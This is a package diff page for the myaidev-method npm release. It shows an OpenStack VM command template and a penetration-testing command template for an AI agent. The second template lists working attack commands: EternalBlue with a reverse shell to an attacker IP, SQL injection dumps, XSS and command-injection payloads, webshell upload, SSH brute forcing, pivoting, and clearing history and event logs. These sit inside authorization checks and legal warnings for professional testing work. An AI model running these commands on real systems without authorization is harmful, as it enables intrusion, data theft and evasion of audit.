myaidev-method 0.2.19 → 0.2.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/mcp/sparc-orchestrator-server.js +0 -0
- package/.claude/mcp/wordpress-server.js +0 -0
- package/CHANGELOG.md +123 -5
- package/README.md +205 -13
- package/TECHNICAL_ARCHITECTURE.md +64 -2
- package/bin/cli.js +169 -2
- package/dist/mcp/mcp-config.json +138 -1
- package/dist/mcp/openstack-server.js +1607 -0
- package/package.json +2 -2
- package/src/config/workflows.js +532 -0
- package/src/lib/payloadcms-utils.js +206 -0
- package/src/lib/visual-generation-utils.js +445 -294
- package/src/lib/workflow-installer.js +512 -0
- package/src/libs/security/authorization-checker.js +606 -0
- package/src/mcp/openstack-server.js +1607 -0
- package/src/scripts/openstack-setup.sh +110 -0
- package/src/scripts/security/environment-detect.js +425 -0
- package/src/templates/claude/agents/openstack-vm-manager.md +281 -0
- package/src/templates/claude/agents/osint-researcher.md +1075 -0
- package/src/templates/claude/agents/penetration-tester.md +908 -0
- package/src/templates/claude/agents/security-auditor.md +244 -0
- package/src/templates/claude/agents/security-setup.md +1094 -0
- package/src/templates/claude/agents/webapp-security-tester.md +581 -0
- package/src/templates/claude/commands/myai-configure.md +84 -0
- package/src/templates/claude/commands/myai-openstack.md +229 -0
- package/src/templates/claude/commands/sc:security-exploit.md +464 -0
- package/src/templates/claude/commands/sc:security-recon.md +281 -0
- package/src/templates/claude/commands/sc:security-report.md +756 -0
- package/src/templates/claude/commands/sc:security-scan.md +441 -0
- package/src/templates/claude/commands/sc:security-setup.md +501 -0
- package/src/templates/claude/mcp_config.json +44 -0
|
@@ -0,0 +1,229 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: myai-openstack
|
|
3
|
+
description: Manage OpenStack VMs - create, list, delete, start, stop virtual machines
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
Manage OpenStack virtual machines and infrastructure based on the command: $ARGUMENTS
|
|
7
|
+
|
|
8
|
+
## Command Syntax
|
|
9
|
+
|
|
10
|
+
```
|
|
11
|
+
/myai-openstack <action> [options]
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
## Available Actions
|
|
15
|
+
|
|
16
|
+
### VM Operations
|
|
17
|
+
- **create** - Create a new VM
|
|
18
|
+
- **list** - List all VMs
|
|
19
|
+
- **show <name>** - Show VM details
|
|
20
|
+
- **delete <name>** - Delete a VM
|
|
21
|
+
- **start <name>** - Start a stopped VM
|
|
22
|
+
- **stop <name>** - Stop a running VM
|
|
23
|
+
- **reboot <name>** - Reboot a VM
|
|
24
|
+
- **console <name>** - Get console URL
|
|
25
|
+
|
|
26
|
+
### Resource Discovery
|
|
27
|
+
- **images** - List available images
|
|
28
|
+
- **flavors** - List available flavors (sizes)
|
|
29
|
+
- **networks** - List available networks
|
|
30
|
+
- **keypairs** - List SSH keypairs
|
|
31
|
+
- **security-groups** - List security groups
|
|
32
|
+
|
|
33
|
+
### Network Operations
|
|
34
|
+
- **floating-ips** - List floating IPs
|
|
35
|
+
- **floating-ip create <network>** - Create floating IP
|
|
36
|
+
- **floating-ip add <server> <ip>** - Add floating IP to server
|
|
37
|
+
|
|
38
|
+
### Storage Operations
|
|
39
|
+
- **volumes** - List volumes
|
|
40
|
+
- **volume create <name> <size>** - Create volume
|
|
41
|
+
- **volume attach <server> <volume>** - Attach volume to server
|
|
42
|
+
|
|
43
|
+
### Cloud-Init Operations
|
|
44
|
+
- **cloud-init info** - Show configured cloud-init defaults
|
|
45
|
+
- **cloud-init fetch** - Fetch and preview cloud-init from URL/file/default
|
|
46
|
+
- **cloud-init preview** - Preview the default cloud-init configuration
|
|
47
|
+
|
|
48
|
+
### System Operations
|
|
49
|
+
- **health** - Check OpenStack connectivity
|
|
50
|
+
- **history** - Show operation history
|
|
51
|
+
|
|
52
|
+
## Examples
|
|
53
|
+
|
|
54
|
+
### Create a VM (basic)
|
|
55
|
+
```
|
|
56
|
+
/myai-openstack create myvm --image "Ubuntu 24.04" --flavor m1.small --keypair mykey
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Create a VM with default cloud-init
|
|
60
|
+
```
|
|
61
|
+
/myai-openstack create myvm --image "Ubuntu 24.04" --flavor m1.small --keypair mykey --use-default-cloud-init
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### Create a VM with custom cloud-init URL
|
|
65
|
+
```
|
|
66
|
+
/myai-openstack create myvm --image "Ubuntu 24.04" --flavor m1.small --cloud-init-url "https://gist.github.com/user/abc123"
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Create a VM with cloud-init file
|
|
70
|
+
```
|
|
71
|
+
/myai-openstack create myvm --image "Ubuntu 24.04" --flavor m1.small --cloud-init-file "./my-cloud-init.yaml"
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### List all VMs
|
|
75
|
+
```
|
|
76
|
+
/myai-openstack list
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
### Show VM details
|
|
80
|
+
```
|
|
81
|
+
/myai-openstack show myvm
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### Start/Stop/Reboot
|
|
85
|
+
```
|
|
86
|
+
/myai-openstack start myvm
|
|
87
|
+
/myai-openstack stop myvm
|
|
88
|
+
/myai-openstack reboot myvm
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Delete a VM
|
|
92
|
+
```
|
|
93
|
+
/myai-openstack delete myvm
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### Check available resources
|
|
97
|
+
```
|
|
98
|
+
/myai-openstack images
|
|
99
|
+
/myai-openstack flavors
|
|
100
|
+
/myai-openstack networks
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### Assign floating IP
|
|
104
|
+
```
|
|
105
|
+
/myai-openstack floating-ip create external-network
|
|
106
|
+
/myai-openstack floating-ip add myvm 203.0.113.10
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
## Process
|
|
110
|
+
|
|
111
|
+
1. Parse $ARGUMENTS to determine the action and parameters
|
|
112
|
+
2. Validate OpenStack credentials are configured
|
|
113
|
+
3. Run health check if needed
|
|
114
|
+
4. Execute the requested operation using the openstack-vm-manager agent
|
|
115
|
+
5. Report results with clear formatting
|
|
116
|
+
|
|
117
|
+
## Prerequisites
|
|
118
|
+
|
|
119
|
+
Before using OpenStack commands, configure credentials:
|
|
120
|
+
```
|
|
121
|
+
/myai-configure openstack
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
This sets up:
|
|
125
|
+
- OS_AUTH_URL
|
|
126
|
+
- OS_USERNAME
|
|
127
|
+
- OS_PASSWORD
|
|
128
|
+
- OS_PROJECT_ID
|
|
129
|
+
- OS_REGION_NAME
|
|
130
|
+
|
|
131
|
+
## Create VM Workflow
|
|
132
|
+
|
|
133
|
+
When user runs `create`:
|
|
134
|
+
|
|
135
|
+
1. **Validate Parameters**
|
|
136
|
+
- Check required: name, image, flavor
|
|
137
|
+
- Validate optional: network, keypair, security_groups
|
|
138
|
+
|
|
139
|
+
2. **Discovery** (if not specified)
|
|
140
|
+
- List images if image not specified
|
|
141
|
+
- List flavors if flavor not specified
|
|
142
|
+
- List networks if network not specified
|
|
143
|
+
- List keypairs if keypair not specified
|
|
144
|
+
|
|
145
|
+
3. **Create Server**
|
|
146
|
+
- Use os_server_create with validated parameters
|
|
147
|
+
- Wait for server to become ACTIVE
|
|
148
|
+
- Report creation progress
|
|
149
|
+
|
|
150
|
+
4. **Post-Creation**
|
|
151
|
+
- Get server details
|
|
152
|
+
- Report IP addresses
|
|
153
|
+
- Provide SSH connection instructions
|
|
154
|
+
|
|
155
|
+
## Cloud-Init Configuration
|
|
156
|
+
|
|
157
|
+
Cloud-init allows automatic provisioning of VMs with packages, users, and scripts.
|
|
158
|
+
|
|
159
|
+
### Sources (in priority order)
|
|
160
|
+
1. **Inline content** (`--user-data`): Direct YAML content
|
|
161
|
+
2. **URL** (`--cloud-init-url`): Fetch from any URL (GitHub Gist supported)
|
|
162
|
+
3. **File** (`--cloud-init-file`): Local file path
|
|
163
|
+
4. **Default** (`--use-default-cloud-init`): Uses `CLOUD_INIT` from `.env`
|
|
164
|
+
|
|
165
|
+
### Environment Variable
|
|
166
|
+
Set in `.env`:
|
|
167
|
+
```
|
|
168
|
+
CLOUD_INIT=https://gist.github.com/username/gist-id
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Preview Cloud-Init
|
|
172
|
+
```
|
|
173
|
+
/myai-openstack cloud-init info # Show configured defaults
|
|
174
|
+
/myai-openstack cloud-init preview # Preview default cloud-init content
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### Example Cloud-Init
|
|
178
|
+
```yaml
|
|
179
|
+
#cloud-config
|
|
180
|
+
package_update: true
|
|
181
|
+
packages:
|
|
182
|
+
- docker.io
|
|
183
|
+
- nodejs
|
|
184
|
+
users:
|
|
185
|
+
- name: developer
|
|
186
|
+
groups: [sudo, docker]
|
|
187
|
+
ssh_authorized_keys:
|
|
188
|
+
- ssh-rsa AAAA... your-key
|
|
189
|
+
runcmd:
|
|
190
|
+
- systemctl enable docker
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
## Quick Start Guide
|
|
194
|
+
|
|
195
|
+
1. Configure OpenStack: `/myai-configure openstack`
|
|
196
|
+
2. Check connectivity: `/myai-openstack health`
|
|
197
|
+
3. Find resources: `/myai-openstack images` and `/myai-openstack flavors`
|
|
198
|
+
4. Preview cloud-init: `/myai-openstack cloud-init info`
|
|
199
|
+
5. Create VM: `/myai-openstack create test-vm --image <image> --flavor <flavor> --use-default-cloud-init`
|
|
200
|
+
6. Connect: SSH to the IP address provided
|
|
201
|
+
|
|
202
|
+
## Error Handling
|
|
203
|
+
|
|
204
|
+
### Not Configured
|
|
205
|
+
```
|
|
206
|
+
OpenStack credentials not configured.
|
|
207
|
+
Run: /myai-configure openstack
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
### Authentication Failed
|
|
211
|
+
```
|
|
212
|
+
Authentication failed. Check your credentials.
|
|
213
|
+
Verify password and project ID are correct.
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
### Resource Not Found
|
|
217
|
+
```
|
|
218
|
+
Image/Flavor/Network not found.
|
|
219
|
+
Run: /myai-openstack images (or flavors/networks) to see available options.
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
## Integration
|
|
223
|
+
|
|
224
|
+
This command uses the `openstack-vm-manager` agent which leverages:
|
|
225
|
+
- OpenStack MCP server for API operations
|
|
226
|
+
- Cloud-init for VM initialization
|
|
227
|
+
- Session tracking for operation history
|
|
228
|
+
|
|
229
|
+
Spawn the openstack-vm-manager agent to handle the requested operation.
|
|
@@ -0,0 +1,464 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: security-exploit
|
|
3
|
+
description: Exploitation operations with mandatory authorization and ethical guidelines
|
|
4
|
+
version: 1.0.0
|
|
5
|
+
category: security
|
|
6
|
+
agent: penetration-tester
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Security Exploitation Command
|
|
10
|
+
|
|
11
|
+
Execute exploitation operations following professional penetration testing standards with strict authorization and ethical guidelines.
|
|
12
|
+
|
|
13
|
+
## ⚠️ CRITICAL WARNINGS
|
|
14
|
+
|
|
15
|
+
**LEGAL REQUIREMENTS:**
|
|
16
|
+
- Explicit written authorization REQUIRED before ANY exploitation
|
|
17
|
+
- Unauthorized exploitation is ILLEGAL and subject to prosecution
|
|
18
|
+
- Criminal penalties include imprisonment and substantial fines
|
|
19
|
+
- Civil liability for damages caused by unauthorized testing
|
|
20
|
+
|
|
21
|
+
**ETHICAL GUIDELINES:**
|
|
22
|
+
- Exploitation ONLY on authorized targets within engagement scope
|
|
23
|
+
- Minimize system disruption and data access
|
|
24
|
+
- Immediately report critical vulnerabilities
|
|
25
|
+
- Follow rules of engagement strictly
|
|
26
|
+
- Maintain professional conduct at all times
|
|
27
|
+
|
|
28
|
+
## Pre-Execution Requirements
|
|
29
|
+
|
|
30
|
+
**CRITICAL Authorization Check:**
|
|
31
|
+
```javascript
|
|
32
|
+
import { requireAuthorization, AuthLevel } from '../../../src/libs/security/authorization-checker.js';
|
|
33
|
+
|
|
34
|
+
// User must provide target
|
|
35
|
+
const target = process.argv[2];
|
|
36
|
+
if (!target) {
|
|
37
|
+
console.error('Usage: /sc:security-exploit <target>');
|
|
38
|
+
console.error('Example: /sc:security-exploit 192.168.1.10');
|
|
39
|
+
process.exit(1);
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
// Verify authorization (exploitation requires EXPLOITATION level)
|
|
43
|
+
await requireAuthorization(target, AuthLevel.EXPLOITATION);
|
|
44
|
+
|
|
45
|
+
// Display legal warning
|
|
46
|
+
console.log('\n⚠️ LEGAL WARNING ⚠️\n');
|
|
47
|
+
console.log('Exploitation operations authorized under engagement:');
|
|
48
|
+
console.log(`- Engagement ID: ${manifest.engagement_id}`);
|
|
49
|
+
console.log(`- Authorization Level: ${manifest.authorization_level}`);
|
|
50
|
+
console.log(`- Authorized By: ${manifest.authorized_by}`);
|
|
51
|
+
console.log(`- Valid Until: ${manifest.end_date}\n`);
|
|
52
|
+
console.log('All exploitation activities will be logged.\n');
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
## Command Workflow
|
|
56
|
+
|
|
57
|
+
When user requests exploitation on a target:
|
|
58
|
+
|
|
59
|
+
### Step 1: Activate penetration-tester Agent
|
|
60
|
+
|
|
61
|
+
```
|
|
62
|
+
You are now in exploitation mode.
|
|
63
|
+
|
|
64
|
+
Target: [USER_PROVIDED_TARGET]
|
|
65
|
+
Authorization Level: EXPLOITATION (full testing authorized)
|
|
66
|
+
|
|
67
|
+
⚠️ IMPORTANT REMINDERS:
|
|
68
|
+
- Follow rules of engagement strictly
|
|
69
|
+
- Minimize system disruption
|
|
70
|
+
- Document all exploitation attempts
|
|
71
|
+
- Report critical findings immediately
|
|
72
|
+
- Maintain chain of custody for evidence
|
|
73
|
+
|
|
74
|
+
Execute exploitation following this workflow:
|
|
75
|
+
|
|
76
|
+
1. Vulnerability Validation
|
|
77
|
+
2. Exploit Selection and Preparation
|
|
78
|
+
3. Proof of Concept (PoC) Exploitation
|
|
79
|
+
4. Post-Exploitation Activities (if authorized)
|
|
80
|
+
5. Evidence Collection
|
|
81
|
+
6. Immediate Reporting
|
|
82
|
+
7. System Cleanup
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### Step 2: Vulnerability Validation
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
# Verify vulnerability exists before exploitation
|
|
89
|
+
nmap --script vuln -p [PORT] [TARGET]
|
|
90
|
+
|
|
91
|
+
# Specific vulnerability verification
|
|
92
|
+
# Example: SMB vulnerability check
|
|
93
|
+
nmap --script smb-vuln-* -p 445 [TARGET]
|
|
94
|
+
|
|
95
|
+
# Web application vulnerability validation
|
|
96
|
+
nikto -h https://[TARGET]
|
|
97
|
+
|
|
98
|
+
# Manual verification with curl/telnet
|
|
99
|
+
curl -v https://[TARGET]/vulnerable-endpoint
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Step 3: Exploit Selection
|
|
103
|
+
|
|
104
|
+
**Exploit Database Search:**
|
|
105
|
+
```bash
|
|
106
|
+
# Search exploit-db
|
|
107
|
+
searchsploit [SERVICE] [VERSION]
|
|
108
|
+
|
|
109
|
+
# Example: Apache 2.4.49 Path Traversal
|
|
110
|
+
searchsploit apache 2.4.49
|
|
111
|
+
|
|
112
|
+
# Copy exploit to workspace
|
|
113
|
+
searchsploit -m exploits/[EXPLOIT_ID]
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
**Metasploit Framework:**
|
|
117
|
+
```bash
|
|
118
|
+
# Start Metasploit console
|
|
119
|
+
msfconsole
|
|
120
|
+
|
|
121
|
+
# Search for exploits
|
|
122
|
+
msf6 > search [VULNERABILITY]
|
|
123
|
+
msf6 > search type:exploit platform:linux
|
|
124
|
+
|
|
125
|
+
# Example: EternalBlue exploitation
|
|
126
|
+
msf6 > use exploit/windows/smb/ms17_010_eternalblue
|
|
127
|
+
msf6 > show options
|
|
128
|
+
msf6 > set RHOSTS [TARGET]
|
|
129
|
+
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
|
130
|
+
msf6 > set LHOST [ATTACKER_IP]
|
|
131
|
+
msf6 > check # Verify vulnerability
|
|
132
|
+
msf6 > exploit
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### Step 4: Proof of Concept Exploitation
|
|
136
|
+
|
|
137
|
+
**Web Application Exploitation:**
|
|
138
|
+
|
|
139
|
+
**SQL Injection PoC:**
|
|
140
|
+
```bash
|
|
141
|
+
# Manual SQL injection testing
|
|
142
|
+
curl "https://[TARGET]/login?user=admin' OR '1'='1"
|
|
143
|
+
|
|
144
|
+
# SQLMap automated exploitation
|
|
145
|
+
sqlmap -u "https://[TARGET]/page?id=1" --dbs
|
|
146
|
+
sqlmap -u "https://[TARGET]/page?id=1" -D database --tables
|
|
147
|
+
sqlmap -u "https://[TARGET]/page?id=1" -D database -T users --dump --limit 3
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
**XSS Exploitation:**
|
|
151
|
+
```bash
|
|
152
|
+
# Reflected XSS PoC
|
|
153
|
+
curl "https://[TARGET]/search?q=<script>alert('XSS')</script>"
|
|
154
|
+
|
|
155
|
+
# Stored XSS testing
|
|
156
|
+
# POST payload to application
|
|
157
|
+
curl -X POST https://[TARGET]/comment \
|
|
158
|
+
-d "comment=<script>alert('XSS')</script>"
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
**Remote Code Execution:**
|
|
162
|
+
```bash
|
|
163
|
+
# Command injection PoC
|
|
164
|
+
curl "https://[TARGET]/ping?host=127.0.0.1;whoami"
|
|
165
|
+
|
|
166
|
+
# File upload vulnerability
|
|
167
|
+
curl -X POST https://[TARGET]/upload \
|
|
168
|
+
-F "file=@shell.php"
|
|
169
|
+
|
|
170
|
+
# Verify code execution (proof only)
|
|
171
|
+
curl https://[TARGET]/uploads/shell.php?cmd=whoami
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
**Network Service Exploitation:**
|
|
175
|
+
|
|
176
|
+
**SSH Weak Credentials:**
|
|
177
|
+
```bash
|
|
178
|
+
# Hydra brute force (limited attempts)
|
|
179
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://[TARGET]
|
|
180
|
+
|
|
181
|
+
# Single credential test
|
|
182
|
+
sshpass -p 'password' ssh admin@[TARGET]
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
**SMB Exploitation:**
|
|
186
|
+
```bash
|
|
187
|
+
# EternalBlue exploitation with MSF
|
|
188
|
+
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS [TARGET]; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST [ATTACKER]; exploit"
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### Step 5: Post-Exploitation (Only if Authorized)
|
|
192
|
+
|
|
193
|
+
⚠️ **CRITICAL**: Only proceed if rules of engagement explicitly allow post-exploitation
|
|
194
|
+
|
|
195
|
+
**Information Gathering:**
|
|
196
|
+
```bash
|
|
197
|
+
# Meterpreter commands
|
|
198
|
+
meterpreter > sysinfo # System information
|
|
199
|
+
meterpreter > getuid # Current user
|
|
200
|
+
meterpreter > ps # Running processes
|
|
201
|
+
meterpreter > ipconfig # Network configuration
|
|
202
|
+
meterpreter > route # Routing table
|
|
203
|
+
|
|
204
|
+
# Limit data access to PoC only
|
|
205
|
+
meterpreter > cat /etc/passwd | head -5 # Proof only
|
|
206
|
+
meterpreter > ls /home # Directory listing only
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
**Privilege Escalation:**
|
|
210
|
+
```bash
|
|
211
|
+
# Linux privilege escalation enumeration
|
|
212
|
+
LinEnum.sh
|
|
213
|
+
|
|
214
|
+
# Windows privilege escalation
|
|
215
|
+
PowerUp.ps1
|
|
216
|
+
|
|
217
|
+
# Kernel exploits (use with extreme caution)
|
|
218
|
+
# Only with explicit authorization
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
**Lateral Movement (Internal Only):**
|
|
222
|
+
```bash
|
|
223
|
+
# Only if INTERNAL authorization level granted
|
|
224
|
+
# Network discovery from compromised host
|
|
225
|
+
meterpreter > run post/windows/gather/arp_scanner
|
|
226
|
+
meterpreter > run post/multi/recon/local_exploit_suggester
|
|
227
|
+
|
|
228
|
+
# Pivot through compromised host
|
|
229
|
+
meterpreter > portfwd add -l 3389 -p 3389 -r [INTERNAL_TARGET]
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### Step 6: Evidence Collection
|
|
233
|
+
|
|
234
|
+
**Screenshot Evidence:**
|
|
235
|
+
```bash
|
|
236
|
+
# Meterpreter screenshot
|
|
237
|
+
meterpreter > screenshot
|
|
238
|
+
|
|
239
|
+
# Manual screenshot with scrot
|
|
240
|
+
scrot evidence_[TARGET]_[TIMESTAMP].png
|
|
241
|
+
|
|
242
|
+
# Web application evidence
|
|
243
|
+
firefox https://[TARGET]/vulnerable-page
|
|
244
|
+
# Screenshot showing exploitation
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
**Command Output Capture:**
|
|
248
|
+
```bash
|
|
249
|
+
# Log all exploitation attempts
|
|
250
|
+
script exploitation_[TARGET]_[TIMESTAMP].log
|
|
251
|
+
|
|
252
|
+
# Save command output
|
|
253
|
+
whoami > evidence_whoami.txt
|
|
254
|
+
id > evidence_id.txt
|
|
255
|
+
uname -a > evidence_uname.txt
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
**Network Traffic Capture:**
|
|
259
|
+
```bash
|
|
260
|
+
# Capture exploitation traffic
|
|
261
|
+
tcpdump -i eth0 -w exploitation_[TARGET].pcap host [TARGET]
|
|
262
|
+
|
|
263
|
+
# Wireshark capture
|
|
264
|
+
wireshark -i eth0 -k -f "host [TARGET]"
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
### Step 7: Immediate Reporting
|
|
268
|
+
|
|
269
|
+
**Critical Finding Notification:**
|
|
270
|
+
```markdown
|
|
271
|
+
# CRITICAL SECURITY FINDING
|
|
272
|
+
|
|
273
|
+
**Date:** [TIMESTAMP]
|
|
274
|
+
**Engagement ID:** [ENGAGEMENT_ID]
|
|
275
|
+
**Severity:** CRITICAL
|
|
276
|
+
|
|
277
|
+
## Vulnerability Summary
|
|
278
|
+
|
|
279
|
+
**Type:** [Remote Code Execution / SQL Injection / etc.]
|
|
280
|
+
**Affected System:** [TARGET]
|
|
281
|
+
**CVSS Score:** [9.8 / Critical]
|
|
282
|
+
|
|
283
|
+
## Proof of Concept
|
|
284
|
+
|
|
285
|
+
**Exploitation Steps:**
|
|
286
|
+
1. [STEP_1]
|
|
287
|
+
2. [STEP_2]
|
|
288
|
+
3. [ACHIEVED_RCE/ACCESS]
|
|
289
|
+
|
|
290
|
+
**Evidence:**
|
|
291
|
+
- Screenshot: [FILENAME]
|
|
292
|
+
- Command Output: [FILENAME]
|
|
293
|
+
- Network Capture: [FILENAME]
|
|
294
|
+
|
|
295
|
+
## Impact Assessment
|
|
296
|
+
|
|
297
|
+
**Business Impact:**
|
|
298
|
+
- Complete system compromise possible
|
|
299
|
+
- Sensitive data exposure risk
|
|
300
|
+
- Potential for lateral movement
|
|
301
|
+
|
|
302
|
+
**Technical Impact:**
|
|
303
|
+
- Remote code execution as [USER]
|
|
304
|
+
- Ability to [READ/WRITE/EXECUTE]
|
|
305
|
+
- Network pivot point established
|
|
306
|
+
|
|
307
|
+
## Immediate Recommendations
|
|
308
|
+
|
|
309
|
+
**URGENT (0-24 hours):**
|
|
310
|
+
1. [IMMEDIATE_FIX]
|
|
311
|
+
2. [TEMPORARY_MITIGATION]
|
|
312
|
+
3. [MONITORING]
|
|
313
|
+
|
|
314
|
+
**Contact:** [SECURITY_CONTACT]
|
|
315
|
+
**Next Steps:** [COORDINATION]
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
### Step 8: System Cleanup
|
|
319
|
+
|
|
320
|
+
**Remove Artifacts:**
|
|
321
|
+
```bash
|
|
322
|
+
# Remove uploaded files
|
|
323
|
+
rm /var/www/html/uploads/shell.php
|
|
324
|
+
|
|
325
|
+
# Clear command history
|
|
326
|
+
history -c
|
|
327
|
+
rm ~/.bash_history
|
|
328
|
+
|
|
329
|
+
# Remove created users/accounts
|
|
330
|
+
userdel testuser
|
|
331
|
+
|
|
332
|
+
# Stop persistent services
|
|
333
|
+
systemctl stop malicious_service
|
|
334
|
+
|
|
335
|
+
# Remove cron jobs
|
|
336
|
+
crontab -r
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
**Graceful Session Exit:**
|
|
340
|
+
```bash
|
|
341
|
+
# Meterpreter
|
|
342
|
+
meterpreter > clearev # Clear event logs (only if authorized)
|
|
343
|
+
meterpreter > exit
|
|
344
|
+
|
|
345
|
+
# SSH
|
|
346
|
+
exit
|
|
347
|
+
|
|
348
|
+
# Close all connections
|
|
349
|
+
netstat -an | grep [ATTACKER_IP]
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
## Usage Examples
|
|
353
|
+
|
|
354
|
+
**Web Application Exploitation:**
|
|
355
|
+
```
|
|
356
|
+
User: "/sc:security-exploit https://app.example.com --sqli"
|
|
357
|
+
|
|
358
|
+
Response:
|
|
359
|
+
1. Verify EXPLOITATION authorization for app.example.com
|
|
360
|
+
2. Validate SQL injection vulnerability
|
|
361
|
+
3. Execute SQLMap with limited extraction
|
|
362
|
+
4. Capture evidence (3 sample records max)
|
|
363
|
+
5. Immediate critical finding report
|
|
364
|
+
6. Clean up temporary files
|
|
365
|
+
7. Save exploitation report
|
|
366
|
+
```
|
|
367
|
+
|
|
368
|
+
**Network Service Exploitation:**
|
|
369
|
+
```
|
|
370
|
+
User: "/sc:security-exploit 192.168.1.50 --service smb"
|
|
371
|
+
|
|
372
|
+
Response:
|
|
373
|
+
1. Check EXPLOITATION authorization for 192.168.1.50
|
|
374
|
+
2. Validate SMB vulnerability (MS17-010)
|
|
375
|
+
3. Metasploit exploitation with reverse shell
|
|
376
|
+
4. Limited post-exploitation (sysinfo, getuid only)
|
|
377
|
+
5. Screenshot and evidence capture
|
|
378
|
+
6. Graceful session termination
|
|
379
|
+
7. Generate exploitation report
|
|
380
|
+
```
|
|
381
|
+
|
|
382
|
+
**Privilege Escalation:**
|
|
383
|
+
```
|
|
384
|
+
User: "/sc:security-exploit 192.168.1.10 --privesc"
|
|
385
|
+
|
|
386
|
+
Response:
|
|
387
|
+
1. Verify EXPLOITATION authorization
|
|
388
|
+
2. Enumerate privilege escalation vectors
|
|
389
|
+
3. Attempt authorized escalation method
|
|
390
|
+
4. Document root/SYSTEM access (PoC)
|
|
391
|
+
5. No data exfiltration (PoC only)
|
|
392
|
+
6. System cleanup
|
|
393
|
+
7. Critical finding report
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
## Output
|
|
397
|
+
|
|
398
|
+
Save exploitation report to:
|
|
399
|
+
```
|
|
400
|
+
reports/exploitation-[TARGET]-[TIMESTAMP].md
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
Log all operations:
|
|
404
|
+
```javascript
|
|
405
|
+
await authChecker.logOperation({
|
|
406
|
+
type: 'exploitation',
|
|
407
|
+
target: target,
|
|
408
|
+
vulnerability: vulnerabilityType,
|
|
409
|
+
result: 'successful_poc',
|
|
410
|
+
impact: 'critical',
|
|
411
|
+
user: process.env.USER,
|
|
412
|
+
evidence_files: evidenceFiles
|
|
413
|
+
});
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
## Error Handling
|
|
417
|
+
|
|
418
|
+
**No Authorization:**
|
|
419
|
+
```
|
|
420
|
+
❌ AUTHORIZATION REQUIRED - EXPLOITATION BLOCKED
|
|
421
|
+
|
|
422
|
+
Target: 192.168.1.50
|
|
423
|
+
Required Level: EXPLOITATION
|
|
424
|
+
Current Level: ACTIVE
|
|
425
|
+
|
|
426
|
+
CRITICAL: Exploitation requires explicit EXPLOITATION authorization.
|
|
427
|
+
Unauthorized exploitation is ILLEGAL.
|
|
428
|
+
|
|
429
|
+
This operation has been blocked and logged.
|
|
430
|
+
```
|
|
431
|
+
|
|
432
|
+
**Out of Scope:**
|
|
433
|
+
```
|
|
434
|
+
❌ TARGET OUT OF SCOPE - EXPLOITATION BLOCKED
|
|
435
|
+
|
|
436
|
+
Target: production-db.example.com
|
|
437
|
+
Status: EXPLICITLY OUT OF SCOPE
|
|
438
|
+
|
|
439
|
+
This target is marked as out-of-scope in the authorization manifest.
|
|
440
|
+
Exploitation is PROHIBITED on this system.
|
|
441
|
+
|
|
442
|
+
This attempt has been logged for audit purposes.
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
**Engagement Expired:**
|
|
446
|
+
```
|
|
447
|
+
❌ ENGAGEMENT EXPIRED - EXPLOITATION BLOCKED
|
|
448
|
+
|
|
449
|
+
Engagement End Date: 2025-11-25
|
|
450
|
+
Current Date: 2025-11-26
|
|
451
|
+
|
|
452
|
+
The authorized testing period has ended.
|
|
453
|
+
No further exploitation is permitted.
|
|
454
|
+
|
|
455
|
+
Contact client to extend authorization if needed.
|
|
456
|
+
```
|
|
457
|
+
|
|
458
|
+
---
|
|
459
|
+
|
|
460
|
+
**Agent:** penetration-tester
|
|
461
|
+
**Authorization Level:** EXPLOITATION
|
|
462
|
+
**Version:** 1.0.0
|
|
463
|
+
|
|
464
|
+
